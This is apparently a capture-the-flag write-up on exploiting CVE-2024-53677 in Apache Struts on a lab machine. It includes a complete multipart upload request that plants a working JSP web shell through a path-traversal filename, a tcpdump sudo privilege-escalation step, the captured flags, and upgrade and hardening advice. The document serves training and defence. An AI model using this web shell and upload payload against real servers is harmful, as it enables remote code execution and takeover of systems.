Strutted: CVE-2024-53677 Attack-to-Defense

Overview

Strutted is a medium-difficulty Linux machine that features a web application built with Apache Struts. The vulnerable version of Struts (6.3.0.1) is affected by CVE-2024-53677, which leads to an arbitrary file upload and RCE.

• Vulnerability: Path Traversal in file upload → allows attackers to override FileName parameters → write arbitrary files under webroot → RCE.
• Reference: NVD – CVE-2024-53677
• Additional Deep-Dive: Y4tacker Blog

Reconnaissance

nmap -sC -sV -oN nmap.txt 10.10.11.59

22/tcp open  ssh     OpenSSH 8.9p1 terUbuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
 
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Strutted™ - Instant Image Uploads
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploit

1. Upload a polyglot file(GIF89a header + JSP paylaod).
2. Override filename with ../../shell.jsp.
3. The file lands in the webroot; visiting /shell.jsp results in RCE.

POST /upload.action HTTP/1.1
Host: strutted.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------28595235431535184633711166866
Origin: http://strutted.htb
Connection: close
Referer: http://strutted.htb/upload.action
Cookie: JSESSIONID=17F3A16170C3E0A242D72A0BBF82A633
Upgrade-Insecure-Requests: 1
Content-Length: 1170
 
-----------------------------28595235431535184633711166866
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif
 
GIF89a
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
    String action = request.getParameter("action");
    String output = "";
    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\n";
                }
                reader.close();
            }
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%>
-----------------------------28595235431535184633711166866
Content-Disposition: form-data; name="top.UploadFileName"
 
../../shell.jsp
-----------------------------28595235431535184633711166866--

User flag: e95aedf1a8dc69e47e460795e5bd4328

Privilege Escalation

Running sudo -l on james shows tcpdump runnable as root (no password).

Exploit: GTFOBins - tcpdump

Root flag: d89b839b31ac202b028d3d567dff965c

Defensive Analysis

The exploit produces several observable events. No single signal is sufficient in every deployment, so defenders should correlate the upload request, filesystem activity, and process execution.

Remediation

Apache classifies S2-067 as critical and states that applications using the deprecated FileUploadInterceptor are affected. The required remediation is to:

1. Upgrade to Apache Struts 6.4.0 or later—preferably the latest supported release.
2. Migrate the application to ActionFileUploadInterceptor and the new Action File Upload mechanism.
3. Remove the deprecated FileUploadInterceptor configuration. Continuing to use the old interceptor leaves the application vulnerable even after the framework upgrade.

See the official Apache S2-067 security bulletin, Apache 2024 announcement, and Action File Upload Interceptor documentation.

The following controls are defence in depth; they do not replace the framework upgrade and interceptor migration:

• Store uploads outside the deployed web application and any executable web path.
• Generate server-side storage names instead of trusting a client-provided filename.
• Resolve and normalize the destination path, then verify that it remains inside the intended upload directory.
• Validate actual file content and re-encode supported images instead of relying only on extensions, MIME headers, or magic bytes.
• Apply finite upload size, file-count, and request-field limits.
• Make the deployed application and webroot read-only to the service account where the architecture permits it.
• Prevent direct access to JSP files and restrict outbound network access from the application tier.

Safe Verification Plan

Run these steps only in an isolated environment you own or are explicitly authorized to test.